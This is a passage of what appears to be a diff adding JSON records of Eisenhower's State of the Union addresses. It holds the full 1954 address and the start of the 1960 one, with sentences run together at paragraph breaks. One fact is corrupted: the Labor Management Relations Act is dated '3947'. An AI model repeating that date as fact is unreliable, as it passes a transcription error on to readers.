In\nthese young men I felt America's buoyant confidence and irresistible\nwill-to-do. In them I saw, too, a devout America, humble before God.And so, I know with all my heart--and I deeply believe that all Americans\nknow--that, despite the anxieties of this divided world, our faith, and the\ncause in which we all believe, will surely prevail.", 
+    "name": "Dwight D. Eisenhower"
+}
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+{
+    "date": "January 7, 1954", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Eighty-third Congress:It is a high honor again to present to the Congress my views on the state\nof the Union and to recommend measures to advance the security, prosperity,\nand well-being of the American people.All branches of this Government--and I venture to say both of our great\nparties--can support the general objective of the recommendations I make\ntoday, for that objective is the building of a stronger America. A nation\nwhose every citizen has good reason for bold hope; where effort is rewarded\nand prosperity is shared; where freedom expands and peace is secure--that\nis what I mean by a stronger America.Toward this objective a real momentum has been developed during this\nAdministration's first year in office. We mean to continue that momentum\nand to increase it. We mean to build a better future for this nation.Much for which we may be thankful has happened during the past year.First of all we are deeply grateful that our sons no longer die on the\ndistant mountains of Korea. Although they are still called from our homes\nto military service, they are no longer called to the field of battle.The nation has just completed the most prosperous year in its history. The\ndamaging effect of inflation on the wages, pensions, salaries and savings\nof us all has been brought under control. Taxes have begun to go down. The\ncost of our government has been reduced and its work proceeds with some\n183,000 fewer employees; thus the discouraging trend of modern governments\ntoward their own limitless expansion has in our case been reversed. The\ncost of armaments becomes less oppressive as we near our defense goals; yet\nwe are militarily stronger every day. During the year, creation of the new\nCabinet Department of Health, Education, and Welfare symbolized the\ngovernment's permanent concern with the human problems of our citizens.Segregation in the armed forces and other Federal activities is on the way\nout. We have also made progress toward its elimination in the District of\nColumbia. These are steps in the continuing effort to eliminate\ninter-racial difficulty.Some developments beyond our shores have been equally encouraging.\nCommunist aggression, halted in Korea, continues to meet in Indo-china the\nvigorous resistance of France and the Associated States, assisted by timely\naid from our country. In West Germany, in Iran, and in other areas of the\nworld, heartening political victories have been won by the forces of\nstability and freedom. Slowly but surely, the free world gathers strength.\nMeanwhile, from behind the iron curtain, there are signs that tyranny is in\ntrouble and reminders that its structure is as brittle as its surface is\nhard.There has been in fact a great strategic change in the world during the\npast year. That precious intangible, the initiative, is becoming ours. Our\npolicy, not limited to mere reaction against crises provoked by others, is\nfree to develop along lines of our choice not only abroad, but also at\nhome. As a major theme for American policy during the coming year, let our\njoint determination be to hold this new initiative and to use it.We shall use this initiative to promote three broad purposes: First, to\nprotect the freedom of our people; second, to maintain a strong, growing\neconomy; third, to concern ourselves with the human problems of the\nindividual citizen.Only by active concern for each of these purposes can we be sure that we\nare on the forward road to a better and a stronger America. All my\nrecommendations today are in furtherance of these three purposes.I. FOREIGN AFFAIRSAmerican freedom is threatened so long as the world Communist conspiracy\nexists in its present scope, power and hostility. More closely than ever\nbefore, American freedom is interlocked with the freedom of other people.\nIn the unity of the free world lies our best chance to reduce the Communist\nthreat without war. In the task of maintaining this unity and strengthening\nall its parts, the greatest responsibility falls naturally on those who,\nlike ourselves, retain the most freedom and strength.We shall, therefore, continue to advance the cause of freedom on foreign\nfronts.In the Far East, we retain our vital interest in Korea. We have negotiated\nwith the Republic of Korea a mutual security pact, which develops our\nsecurity system for the Pacific and which I shall promptly submit to the\nSenate for its consent to ratification. We are prepared to meet any renewal\nof armed aggression in Korea. We shall maintain indefinitely our bases in\nOkinawa. I shall ask the Congress to authorize continued material\nassistance to hasten the successful conclusion of the struggle in\nIndo-china. This assistance will also bring closer the day when the\nAssociated States may enjoy the independence already assured by France. We\nshall also continue military and economic aid to the Nationalist Government\nof China.In South Asia, profound changes are taking place in free nations which are\ndemonstrating their ability to progress through democratic methods. They\nprovide an inspiring contrast to the dictatorial methods and backward\ncourse of events in Communist China. In these continuing efforts, the free\npeoples of South Asia can be assured of the support of the United States.In the Middle East, where tensions and serious problems exist, we will show\nsympathetic and impartial friendship.In Western Europe our policy rests firmly on the North Atlantic Treaty. It\nwill remain so based as far ahead as we can see. Within its organization,\nthe building of a united European community, including France and Germany,\nis vital to a free and self-reliant Europe. This will be promoted by the\nEuropean Defense Community which offers assurance of European security.\nWith the coming of unity to Western Europe, the assistance this Nation can\nrender for the security of Europe and the free world will be multiplied in\neffectiveness.In the Western Hemisphere we shall continue to develop harmonious and\nmutually beneficial cooperation with our neighbors. Indeed, solid\nfriendship with all our American neighbors is a cornerstone of our entire\npolicy.In the world as a whole, the United Nations, admittedly still in a state of\nevolution, means much to the United States. It has given uniquely valuable\nservices in many places where violence threatened. It is the only real\nworld forum where we have the opportunity for international presentation\nand rebuttal. It is a place where the nations of the world can, if they\nhave the will, take collective action for peace and justice. It is a place\nwhere the guilt can be squarely assigned to those who fail to take all\nnecessary steps to keep the peace. The United Nations deserves our\ncontinued firm support.FOREIGN ASSISTANCE AND TRADEIn the practical application of our foreign policy, we enter the field of\nforeign assistance and trade.Military assistance must be continued. Technical assistance must be\nmaintained. Economic assistance can be reduced. However, our economic\nprograms in Korea and in a few other critical places of the world are\nespecially important, and I shall ask Congress to continue them in the next\nfiscal year.The forthcoming Budget Message will propose maintenance of the Presidential\npower of transferability of all assistance funds and will ask authority to\nmerge these funds with the regular defense funds. It will also propose that\nthe Secretary of Defense have primary responsibility for the administration\nof foreign military assistance in accordance with the policy guidance of\nthe Secretary of State.The fact that we can now reduce our foreign economic assistance in many\nareas is gratifying evidence that its objectives are being achieved. By\ncontinuing to surpass her prewar levels of economic activity, Western\nEurope gains self-reliance. Thus our relationship enters a new phase which\ncan bring results beneficial to our taxpayers and our allies alike, if\nstill another step is taken.This step is the creation of a healthier and freer system of trade and\npayments within the free world--a system in which our allies can earn their\nown way and our own economy can continue to flourish. The free world can no\nlonger afford the kinds of arbitrary restraints on trade that have\ncontinued ever since the war. On this problem I shall submit to the\nCongress detailed recommendations, after our Joint Commission on Foreign\nEconomic Policy has made its report.ATOMIC ENERGY PROPOSALAs we maintain our military strength during the coming year and draw closer\nthe bonds with our allies, we shall be in an improved position to discuss\noutstanding issues with the Soviet Union. Indeed we shall be glad to do so\nwhenever there is a reasonable prospect of constructive results. In this\nspirit the atomic energy proposals of the United States were recently\npresented to the United Nations General Assembly. A truly constructive\nSoviet reaction will make possible a new start toward an era of peace, and\naway from the fatal road toward atomic war.DEFENSESince our hope is peace, we owe ourselves and the world a candid\nexplanation of the military measures we are taking to make that peace\nsecure.As we enter this new year, our military power continues to grow. This power\nis for our own defense and to deter aggression. We shall not be aggressors,\nbut we and our allies have and will maintain a massive capability to strike\nback.Here are some of the considerations in our defense planning:First, while determined to use atomic power to serve the usages of peace,\nwe take into full account our great and growing number of nuclear weapons\nand the most effective means of using them against an aggressor if they are\nneeded to preserve our freedom. Our defense will be stronger if, under\nappropriate security safeguards, we share with our allies certain knowledge\nof the tactical use of our nuclear weapons. I urge the Congress to provide\nthe needed authority.Second, the usefulness of these new weapons creates new relationships\nbetween men and materials. These new relationships permit economies in the\nuse of men as we build forces suited to our situation in the world today.\nAs will be seen from the Budget Message on January 21, the airpower of our\nNavy and Air Force is receiving heavy emphasis.Third, our armed forces must regain maximum mobility of action. Our\nstrategic reserves must be centrally placed and readily deployable to meet\nsudden aggression against ourselves and our allies.Fourth, our defense must rest on trained manpower and its most economical\nand mobile use. A professional corps is the heart of any security\norganization. It is necessarily the teacher and leader of those who serve\ntemporarily in the discharge of the obligation to help defend the Republic.\nPay alone will not retain in the career service of our armed forces the\nnecessary numbers of long-term personnel. I strongly urge, therefore, a\nmore generous use of other benefits important to service morale. Among\nthese are more adequate living quarters and family housing units and\nmedical care for dependents.Studies of military manpower have just been completed by the National\nSecurity Training Commission and a Committee appointed by the Director of\nthe Office of Defense Mobilization. Evident weaknesses exist in the state\nof readiness and organization of our reserve forces. Measures to correct\nthese weaknesses will be later submitted to the Congress.Fifth, the ability to convert swiftly from partial to all-out mobilization\nis imperative to our security. For the first time, mobilization officials\nknow what the requirements are for 1,000 major items needed for military\nuses. These data, now being related to civilian requirements and our supply\npotential, will show us the gaps in our mobilization base. Thus we shall\nhave more realistic plant-expansion and stockpiling goals. We shall speed\ntheir attainment. This Nation is at last to have an up-to-date mobilization\nbase--the foundation of a sound defense program.Another part of this foundation is, of course, our continental transport\nsystem. Some of our vital heavy materials come increasingly from Canada.\nIndeed our relations with Canada, happily always close, involve more and\nmore the unbreakable ties of strategic interdependence. Both nations now\nneed the St. Lawrence Seaway for security as well as for economic reasons.\nI urge the Congress promptly to approve our participation in its\nconstruction.Sixth, military and non-military measures for continental defense must be\nand are being strengthened. In the current fiscal year we are allocating to\nthese purposes an increasing portion of our effort, and in the next fiscal\nyear we shall spend nearly a billion dollars more for them than in 1953.An indispensable part of our continental security is our civil defense\neffort. This will succeed only as we have the complete cooperation of State\nGovernors, Mayors, and voluntary citizen groups. With their help we can\nadvance a cooperative program which, if an attack should come, would save\nmany lives and lessen destruction.The defense program recommended in the 1955 Budget is consistent with all\nof the considerations which I have just discussed. It is based on a new\nmilitary program unanimously recommended by the Joint Chiefs of Staff and\napproved by me following consideration by the National Security Council.\nThis new program will make and keep America strong in an age of peril.\nNothing should bar its attainment.The international and defense policies which I have outlined will enable us\nto negotiate from a position of strength as we hold our resolute course\ntoward a peaceful world. We now turn to matters which are normally\ncharacterized as domestic, well realizing that what we do abroad affects\nevery problem at home--from the amount of taxes to our very state of mind.INTERNAL SECURITYUnder the standards established for the new employee security program, more\nthan 2,200 employees have been separated from the Federal government. Our\nnational security demands that the investigation of new employees and the\nevaluation of derogatory information respecting present employees be\nexpedited and concluded at the earliest possible date. I shall recommend\nthat the Congress provide additional funds where necessary to speed these\nimportant procedures.From the special employment standards of the Federal government I turn now\nto a matter relating to American citizenship. The subversive character of\nthe Communist Party in the United States has been clearly demonstrated in\nmany ways, including court proceedings. We should recognize by law a fact\nthat is plain to all thoughtful citizens-that we are dealing here with\nactions akin to treason--that when a citizen knowingly participates in the\nCommunist conspiracy he no longer holds allegiance to the United States.I recommend that Congress enact legislation to provide that a citizen of\nthe United States who is convicted in the courts of hereafter conspiring to\nadvocate the overthrow of this government by force or violence be treated\nas having, by such act, renounced his allegiance to the United States and\nforfeited his United States citizenship.In addition, the Attorney General will soon appear before your Committees\nto present his recommendations for needed additional legal weapons with\nwhich to combat subversion in our country and to deal with the question of\nclaimed immunity.II. STRONG ECONOMYI turn now to the second great purpose of our government: Along with the\nprotection of freedom, the maintenance of a strong and growing economy.The American economy is one of the wonders of the world. It undergirds our\ninternational position, our military security, and the standard of living\nof every citizen. This Administration is determined to keep our economy\nstrong and to keep it growing.At this moment we are in transition from a wartime to a peacetime economy.\nI am confident that we can complete this transition without serious\ninterruption in our economic growth. But we shall not leave this vital\nmatter to chance. Economic preparedness is fully as important to the nation\nas military preparedness.Subsequent special messages and the economic report on January 28 will set\nforth plans of the Administration and its recommendations for Congressional\naction. These will include flexible credit and debt management policies;\ntax measures to stimulate consumer and business spending; suitable lending,\nguaranteeing, insuring, and grant-in-aid activities; strengthened old-age\nand unemployment insurance measures; improved agricultural programs;\npublic-works plans laid well in advance; enlarged opportunities for\ninternational trade and investment. This mere enumeration of these subjects\nimplies the vast amount of study, coordination, and planning, to say\nnothing of authorizing legislation, that altogether make our economic\npreparedness complete.If new conditions arise that require additional administrative or\nlegislative action, the Administration will still be ready. A government\nalways ready, as this is, to take well-timed and vigorous action, and a\nbusiness community willing, as ours is, to plan boldly and with\nconfidence, can between them develop a climate assuring steady economic\ngrowth.THE BUDGETI shall submit to the Congress on January 21 the first budget prepared by\nthis Administration, for the period July 1, 1954, through June 1955. This\nbudget is adequate to the current needs of the government. It recognizes\nthat a Federal budget should be a stabilizing factor in the economy. Its\ntax and expenditure programs will foster individual initiative and economic\ngrowth.Pending the transmittal of my Budget Message, I shall mention here only a\nfew points about our budgetary situation.First, one of our initial acts was to revise, with the cooperation of the\nCongress, the Budget prepared before this Administration took office.\nRequests for new appropriations were greatly reduced. In addition, the\nspending level provided in that Budget for the current fiscal year has been\nreduced by about $7,000,000,000. In the next fiscal year we estimate a\nfurther reduction in expenditures of more than $5,000,000,000. This will\nreduce the spending level over the two fiscal years by more than\n$12,000,000,000. We are also reducing further our requests for new\nappropriations.Second, despite the substantial loss of revenue in the coming fiscal year,\nresulting from tax reductions now in effect and tax adjustments which I\nshall propose, our reduced spending will move the new budget closer to a\nbalance.Third, by keeping new appropriation requests below estimated revenues, we\ncontinue to reduce the tremendous accumulation of unfinanced obligations\nincurred by the Government under past appropriations.Fourth, until those claims on our Government's revenues are further\nreduced, the growth in the public debt cannot be entirely stopped. Because\nof this--because the government's bills have to be paid every month, while\nthe tax money to pay them comes in with great unevenness within the fiscal\nyear--and because of the need for flexibility to manage this enormous debt,\nI find it necessary to renew my request for an increase in the statutory\ndebt limit.TAXESThe new budget provides for a lower level of taxation than has prevailed in\npreceding years. Six days ago individual income taxes were reduced and the\nexcess profits tax expired. These tax reductions are justified only because\nof the substantial reductions we already have made and are making in\ngovernmental expenditures. As additional reductions in expenditures are\nbrought gradually but surely into sight, further reductions in taxes can\nand will be made. When budget savings and sound governmental financing are\nassured, tax burdens should be reduced so that taxpayers may spend their\nown money in their own way.While we are moving toward lower levels of taxation we must thoroughly\nrevise our whole tax system. The groundwork for this revision has already\nbeen laid by the Committee on Ways and Means of the House of\nRepresentatives, in close consultation with the Department of the Treasury.\nWe should now remove the more glaring tax inequities, particularly on small\ntaxpayers; reduce restraints on the growth of small business; and make\nother changes that will encourage initiative, enterprise and production.\nTwenty-five recommendations toward these ends will be contained in my\nbudget message.Without attempting to summarize these manifold reforms, I can here\nillustrate their tendency. For example, we propose more liberal tax\ntreatment for dependent children who work, for widows or widowers with\ndependent children, and for medical expenses. For the business that wants\nto expand or modernize its plant, we propose liberalized tax treatment of\ndepreciation, research and development expenses, and retained earnings.Because of the present need for revenue the corporation income tax should\nbe kept at the current rate of 52% for another year, and the excise taxes\nscheduled to be reduced on April first, including those on liquor, tobacco,\ngasoline and automobiles, should be continued at present rates.Immediate extension of the Renegotiation Act of 1951 is also needed to\neliminate excessive profits and to prevent waste of public funds in the\npurchase of defense materials.AGRICULTUREThe well being of our 160 million people demands a stable and prosperous\nagriculture. Conversely, every farmer knows he cannot prosper unless all\nAmerica prospers. As we seek to promote increases in our standard of\nliving, we must be sure that the farmer fairly shares in that increase.\nTherefore, a farm program promoting stability and prosperity in all\nelements of our agriculture is urgently needed.Agricultural laws now in effect successfully accomplished their wartime\npurpose of encouraging maximum production of many crops. Today, production\nof these crops at such levels far exceeds present demand. Yet the laws\nencouraging such production are still in effect. The storage facilities of\nthe Commodity Credit Corporation bulge with surplus stocks of dairy\nproducts, wheat, cotton, corn, and certain vegetable oils; and the\nCorporation's presently authorized borrowing authority--$6,750,000,000--is\nnearly exhausted. Some products, priced out of domestic markets, and\nothers, priced out of world markets, have piled up in government hands. In\na world in which millions of people are hungry, destruction of food would,\nof course, be unconscionable. Yet surplus stocks continue to threaten the\nmarket and in spite of the acreage controls authorized by present law,\nsurpluses will continue to accumulate.We confront two alternatives. The first is to impose still greater acreage\nreductions for some crops and apply rigid Federal controls over the use of\nthe diverted acres. This will regiment the production of every basic\nagricultural crop. It will place every producer of those crops under the\ndomination and control of the Federal government in Washington. This\nalternative is contrary to the fundamental interests, not only of the\nfarmer, but of the Nation as a whole. Nor is it a real solution to the\nproblem facing us.The second alternative is to permit the market price for these agricultural\nproducts gradually to have a greater influence on the planning of\nproduction by farmers, while continuing the assistance of the government.\nThis is the sound approach. To make it effective, surpluses existing when\nthe new program begins must be insulated from the normal channels of trade\nfor special uses. These uses would include school lunch programs, disaster\nrelief, emergency assistance to foreign friends, and of particular\nimportance the stockpiling of reserves for a national emergency.Building on the agricultural laws of 1948 and 1949, we should establish a\nprice support program with enough flexibility to attract the production of\nneeded supplies of essential commodities and to stimulate the consumption\nof those commodities that are flooding American markets. Transition to\nmodernized parity must be accomplished gradually. In no case should there\nbe an abrupt downward change in the dollar level or in the percentage level\nof price supports.Next Monday I shall transmit to the Congress my detailed recommendations\nembodying this approach. They have been developed through the cooperation\nof innumerable individuals vitally interested in agriculture. My special\nmessage on Monday will briefly describe the consultative and advisory\nprocesses to which this whole program has been subjected during the past\nten months.I have chosen this farm program because it will build markets, protect the\nconsumers' food supply, and move food into consumption instead of into\nstorage. It is a program that will remove the threat to the farmer of these\noverhanging surpluses, a program, also, that will stimulate production when\na commodity is scarce and encourage consumption when nature is bountiful.\nMoreover, it will promote the individual freedom, responsibility, and\ninitiative which distinguish American agriculture. And, by helping our\nagriculture achieve full parity in the market, it promises our farmers a\nhigher and steadier financial return over the years than any alternative\nplan.CONSERVATIONPart of our Nation's precious heritage is its natural resources. It is the\ncommon responsibility of Federal, state, and local governments to improve\nand develop them, always working in the closest harmony and partnership.All Federal conservation and resource development projects are being\nreappraised. Sound projects now under way will be continued. New projects\nin which the Federal Government has a part must be economically sound, with\nlocal sharing of cost wherever appropriate and feasible. In the next fiscal\nyear work will be started on twenty-three projects that meet these\nstandards. The Federal Government will continue to construct and operate\neconomically sound flood control, power, irrigation and water supply\nprojects wherever these projects are beyond the capacity of local\ninitiative, public or private, and consistent with the needs of the whole\nNation.Our conservation program will also take into account the important role\nplayed by farmers in protecting our soil resources. I recommend enactment\nof legislation to strengthen agricultural conservation and upstream flood\nprevention work, and to achieve a better balance with major flood control\nstructures in the down-stream areas.Recommendations will be made from time to time for the adoption of:A uniform and consistent water resources policy;A revised public lands policy; andA sound program for safeguarding the domestic production of critical and\nstrategic metals and minerals.In addition we shall continue to protect and improve our national forests,\nparks, monuments and other natural and historic sites, as well as our\nfishery and wildlife resources. I hope that pending legislation to improve\nthe conservation and management of publicly-owned grazing lands in national\nforests will soon be approved by the Congress.NATIONAL HIGHWAYSTo protect the vital interest of every citizen in a safe and adequate\nhighway system, the Federal Government is continuing its central role in\nthe Federal Aid Highway Program. So that maximum progress can be made to\novercome present inadequacies in the Interstate Highway System, we must\ncontinue the Federal gasoline tax at two cents per gallon. This will\nrequire cancellation of the 1/2 cent decrease which otherwise will become\neffective April 1st, and will maintain revenues so that an expanded highway\nprogram can be undertaken.When the Commission on Intergovernmental Relations completes its study of\nthe present system of financing highway construction, I shall promptly\nsubmit it for consideration by the Congress and the governors of the\nstates.POST OFFICEIt is apparent that the substantial savings already made, and to be made,\nby the Post Office Department cannot eliminate the postal deficit. I\nrecommend, therefore, that the Congress approve the bill now pending in the\nHouse of Representatives providing for the adjustment of certain postal\nrates. To handle the long term aspects of this, I also recommend that the\nCongress create a permanent commission to establish fair and reasonable\npostal rates from time to time in the future.III. HUMAN PROBLEMSAlong with the protection of freedom and maintenance of a strong and\ngrowing economy, this Administration recognizes a third great purpose of\ngovernment: concern for the human problems of our citizens. In a modern\nindustrial society, banishment of destitution and cushioning the shock of\npersonal disaster on the individual are proper concerns of all levels of\ngovernment, including the federal government. This is especially true where\nremedy and prevention alike are beyond the individual's capacity.LABOR AND WELFAREOf the many problems in this area, those I shall first discuss are of\nparticular concern to the members of our great labor force, who with their\nheads, hearts and hands produce so much of the wealth of our country.Protection against the hazards of temporary unemployment should be extended\nto some 6 1/2 millions of workers, including civilian Federal workers, who\nnow lack this safeguard. Moreover, the Secretary of Labor is making\navailable to the states studies and recommendations in the fields of weekly\nbenefits, periods of protection and extension of coverage. The Economic\nReport will consider the related matter of minimum wages and their coverage.The Labor Management Relations Act of 3947 is basically a sound law.\nHowever, six years of experience have revealed that in some respects it can\nbe improved. On January 11, I shall forward to the Congress suggestions for\nchanges designed to reinforce the basic objectives of the Act.Our basic social security program, the Old-Age and Survivors Insurance\nsystem, to which individuals contribute during their productive years and\nreceive benefits based on previous earnings, is designed to shield them\nfrom destitution. Last year I recommended extension of the social insurance\nsystem to include more than 10,000,000 additional persons. I ask that this\nextension soon be accomplished. This and other major improvements in the\ninsurance system will bring substantial benefit increases and broaden the\nmembership of the insurance system, thus diminishing the need for Federal\ngrants-in-aid for such purposes. A new formula will therefore be proposed,\npermitting progressive reduction in such grants as the need for them\ndeclines.Federal grant-in-aid welfare programs, now based on widely varying\nformulas, should be simplified. Concrete proposals on fourteen of them will\nbe suggested to the appropriate Committees.The program for rehabilitation of the disabled especially needs\nstrengthening. Through special vocational training, this program presently\nreturns each year some 60,000 handicapped individuals to productive work.\nFar more disabled people can be saved each year from idleness and\ndependence if this program is gradually increased. My more detailed\nrecommendations on this and the other social insurance problems I have\nmentioned will be sent to the Congress on January 14th.HEALTHI am flatly opposed to the socialization of medicine. The great need for\nhospital and medical services can best be met by the initiative of private\nplans. But it is unfortunately a fact that medical costs are rising and\nalready impose severe hardships on many families. The Federal Government\ncan do many helpful things and still carefully avoid the socialization of\nmedicine.The Federal Government should encourage medical research in its battle with\nsuch mortal diseases as cancer and heart ailments, and should continue to\nhelp the states in their health and rehabilitation programs. The present\nHospital Survey and Construction Act should be broadened in order to assist\nin the development of adequate facilities for the chronically ill, and to\nencourage the construction of diagnostic centers, rehabilitation\nfacilities, and nursing homes. The war on disease also needs a better\nworking relationship between Government and private initiative. Private and\nnon-profit hospital and medical insurance plans are already in the field,\nsoundly based on the experience and initiative of the people in their\nvarious communities.A limited Government reinsurance service would permit the private and\nnon-profit insurance companies to offer broader protection to more of the\nmany families which want and should have it. On January 18 I shall forward\nto the Congress a special message presenting this Administration's health\nprogram in its detail.EDUCATIONYouth--our greatest resource--is being seriously neglected in a vital\nrespect. The nation as a whole is not preparing teachers or building\nschools fast enough to keep up with the increase in our population.The preparation of teachers as, indeed, the control and direction of public\neducation policy, is a state and local responsibility. However, the Federal\nGovernment should stand ready to assist states which demonstrably cannot\nprovide sufficient school buildings. In order to appraise the needs, I hope\nthat this year a conference on education will be held in each state,\nculminating in a national conference. From these conferences on education,\nevery level of government--from the Federal Government to each local school\nboard--should gain the information with which to attack this serious\nproblem.HOUSINGThe details of a program to enlarge and improve the opportunities for our\npeople to acquire good homes will be presented to the Congress by special\nmessage on January 25.This program will include:Modernization of the home mortgage insurance program of the Federal\nGovernment;Redirection of the present system of loans and grants-in-aid to cities for\nslum clearance and redevelopment;Extension of the advantages of insured lending to private credit engaged in\nthis task of rehabilitating obsolete neighborhoods;Insurance of long-term, mortgage loans, with small down payment for\nlow-income families; and, until alternative programs prove more effective,Continuation of the public housing program adopted in the Housing Act of\n1949.If the individual, the community, the State and federal governments will\nalike apply themselves, every American family can have a decent home.VETERANS ADMINISTRATIONThe internal reorganization of the Veterans Administration is proceeding\nwith my full approval. When completed, it will afford a single agency whose\nservices, including medical facilities, will be better adapted to the needs\nof those 20,000,000 veterans to whom this Nation owes so much.SUFFRAGEMy few remaining recommendations all relate to a basic right of our\ncitizens--that of being represented in the decisions of the government.I hope that the States will cooperate with the Congress in adopting uniform\nstandards in their voting laws that will make it possible for our citizens\nin the armed forces overseas to vote.In the District of Columbia the time is long overdue for granting national\nsuffrage to its citizens and also applying the principle of local\nself-government to the Nation's Capital. I urge the Congress to move\npromptly in this direction and also to revise District revenue measures to\nprovide needed public works improvements.The people of Hawaii are ready for statehood. I renew my request for this\nlegislation in order that Hawaii may elect its State officials and its\nrepresentatives in Washington along with the rest of the country this\nfall.For years our citizens between the ages of 18 and 21 have, in time of\nperil, been summoned to fight for America. They should participate in the\npolitical process that produces this fateful summons. I urge Congress to\npropose to the States a constitutional amendment permitting citizens to\nvote when they reach the age of 18.CONCLUSIONI want to add one final word about the general purport of these many\nrecommendations.Our government's powers are wisely limited by the Constitution; but quite\napart from those limitations, there are things which no government can do\nor should try to do.A government can strive, as ours is striving, to maintain an economic\nsystem whose doors are open to enterprise and ambition--those personal\nqualities on which economic growth largely depends. But enterprise and\nambition are qualities which no government can supply. Fortunately no\nAmerican government need concern itself on this score; our people have\nthese qualities in good measure.A government can sincerely strive for peace, as ours is striving, and ask\nits people to make sacrifices for the sake of peace. But no government can\nplace peace in the hearts of foreign rulers. It is our duty then to\nourselves and to freedom itself to remain strong in all those\nways--spiritual, economic, military--that will give us maximum safety\nagainst the possibility of aggressive action by others.No government can inoculate its people against the fatal materialism that\nplagues our age. Happily, our people, though blessed with more material\ngoods than any people in history, have always reserved their first\nallegiance to the kingdom of the spirit, which is the true source of that\nfreedom we value above all material things.But a government can try, as ours tries, to sense the deepest aspirations\nof the people, and to express them in political action at home and abroad.\nSo long as action and aspiration humbly and earnestly seek favor in the\nsight of the Almighty, there is no end to America's forward road; there is\nno obstacle on it she will not surmount in her march toward a lasting peace\nin a free and prosperous world.", 
+    "name": "Dwight D. Eisenhower"
+}
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+    "date": "January 7, 1960", 
+    "speech": "Mr. President, Mr. Speaker, Members of the 86th Congress:Seven years ago I entered my present office with one long-held resolve\noverriding all others. I was then, and remain now, determined that the\nUnited States shall become an ever more potent resource for the cause of\npeace--realizing that peace cannot be for ourselves alone, but for peoples\neverywhere. This determination is shared by the entire Congress--indeed, by\nall Americans.My purpose today is to discuss some features of America's position, both at\nhome and in her relations to others.First, I point out that for us, annual self-examination is made a definite\nnecessity by the fact that we now live in a divided world of uneasy\nequilibrium, with our side committed to its own protection and against\naggression by the other.With both sides of this divided world in possession of unbelievably\ndestructive weapons, mankind approaches a state where mutual annihilation\nbecomes a possibility. No other fact of today's world equals this in\nimportance--it colors everything we say, plan, and do.There is demanded of us, vigilance, determination, and the dedication of\nwhatever portion of our resources that will provide adequate security,\nespecially a real deterrent to aggression. These things we are doing.All these facts emphasize the importance of striving incessantly for a just\npeace.Only through the strengthening of the spiritual, intellectual, economic and\ndefensive resources of the Free World can we, in confidence, make progress\ntoward this goal.Second, we note that recent Soviet deportment and pronouncements suggest\nthe possible opening of a somewhat less strained period in the\nrelationships between the Soviet Union and the Free World. If these\nPronouncements be genuine, there is brighter hope of diminishing the\nintensity of past rivalry and eventually of substituting persuasion for\ncoercion. Whether this is to become an era of lasting promise remains to be\ntested by actions.Third, we now stand in the vestibule of a vast new technological age-one\nthat, despite its capacity for human destruction, has an equal capacity to\nmake poverty and human misery obsolete. If our efforts are wisely\ndirected--and if our unremitting efforts for dependable peace begin to\nattain some success--we can surely become participants in creating an age\ncharacterized by justice and rising levels of human well-being.Over the past year the Soviet Union has expressed an interest in measures\nto reduce the common peril of war.While neither we nor any other Free World nation can permit ourselves to be\nmisled by pleasant promises until they are tested by performance, yet we\napproach this apparently new opportunity with the utmost seriousness. We\nmust strive to break the calamitous cycle of frustrations and crises which,\nif unchecked, could spiral into nuclear disaster; the ultimate insanity.Though the need for dependable agreements to assure against resort to force\nin settling disputes is apparent to both sides yet as in other issues\ndividing men and nations, we cannot expect sudden and revolutionary\nresults. But we must find some place to begin.One obvious road on which to make a useful start is in the widening of\ncommunication between our two peoples. In this field there are, both sides\nwilling, countless opportunities--most of them well known to us all--for\ndeveloping mutual understanding, the true foundation of peace.Another avenue may be through the reopening, on January twelfth, of\nnegotiations looking to a controlled ban on the testing of nuclear weapons.\nUnfortunately, the closing statement from the Soviet scientists who met\nwith our scientists at Geneva in an unsuccessful effort to develop an\nagreed basis for a test ban, gives the clear impression that their\nconclusions have been politically guided. Those of the British and American\nscientific representatives are their own freely-formed, individual and\ncollective opinion. I am hopeful that as new negotiations begin, truth--not\npolitical opportunism--will be the guiding light of the deliberations.Still another avenue may be found in the field of disarmament, in which the\nSoviets have professed a readiness to negotiate seriously. They have not,\nhowever, made clear the plans they may have, if any, for mutual inspection\nand verification--the essential condition for any extensive measure of\ndisarmament.There is one instance where our initiative for peace has recently been\nsuccessful. A multi-lateral treaty signed last month provides for the\nexclusively peaceful use of Antarctica, assured by a system of inspection.\nIt provides for free and cooperative scientific research in that continent,\nand prohibits nuclear explosions there pending general international\nagreement on the subject. The Treaty is a significant contribution toward\npeace, international cooperation, and the advancement of science. I shall\ntransmit its text to the Senate for consideration and approval in the near\nfuture.The United States is always ready to participate with the Soviet Union in\nserious discussion of these or any other subjects that may lead to peace\nwith justice.Certainly it is not necessary to repeat that the United States has no\nintention of interfering in the internal affairs of any nation; likewise we\nreject any attempt to impose its system on us or on other peoples by force\nor subversion.This concern for the freedom of other peoples is the intellectual and\nspiritual cement which has allied us with more than forty other nations in\na common defense effort. Not for a moment do we forget that our own fate is\nfirmly fastened to that of these countries; we will not act in any way\nwhich would jeopardize our solemn commitments to them.We and our friends are, of course, concerned with self-defense. Growing out\nof this concern is the realization that all people of the Free World have a\ngreat stake in the progress, in freedom, of the uncommitted and newly\nemerging nations. These peoples, desperately hoping to lift themselves to\ndecent levels of living must not, by our neglect, be forced to seek help\nfrom, and finally become virtual satellites of, those who proclaim their\nhostility to freedom.Their natural desire for a better life must not be frustrated by\nwithholding from them necessary technical and investment assistance. This\nis a problem to be solved not by America alone, but also by every nation\ncherishing the same ideals and in position to provide help.In recent years America's partners and friends in Western Europe and Japan\nhave made great economic progress. Their newly found economic strength is\neloquent testimony to the striking success of the policies of economic\ncooperation which we and they have pursued.The international economy of 1960 is markedly different from that of the\nearly postwar years. No longer is the United States the only major\nindustrial country capable of providing substantial amounts of the\nresources so urgently needed in the newly-developing countries.To remain secure and prosperous themselves, wealthy nations must extend the\nkind of cooperation to the less fortunate members that will inspire hope,\nconfidence and progress. A rich nation can for a time, without noticeable\ndamage to itself, pursue a course of self-indulgence, making its single\ngoal the material ease and comfort of its own citizens-thus repudiating its\nown spiritual and material stake in a peaceful and prosperous society of\nnations. But the enmities it will incur, the isolation into which it will\ndescend, and the internal moral and physical softness that will be\nengendered, will, in the long term, bring it to disaster.America did not become great through softness and self-indulgence. Her\nmiraculous progress and achievements flow from other qualities far more\nworthy and substantial----adherence to principles and methods consonant with our religious\nphilosophy--a satisfaction in hard work--the readiness to sacrifice for worthwhile causes--the courage to meet every challenge to her progress--the intellectual honesty and capacity to recognize the true path of her\nown best interests.To us and to every nation of the Free World, rich or poor, these qualities\nare necessary today as never before if we are to march together to greater\nsecurity, prosperity and peace.I believe the industrial countries are ready to participate actively in\nsupplementing the efforts of the developing countries to achieve progress.The immediate 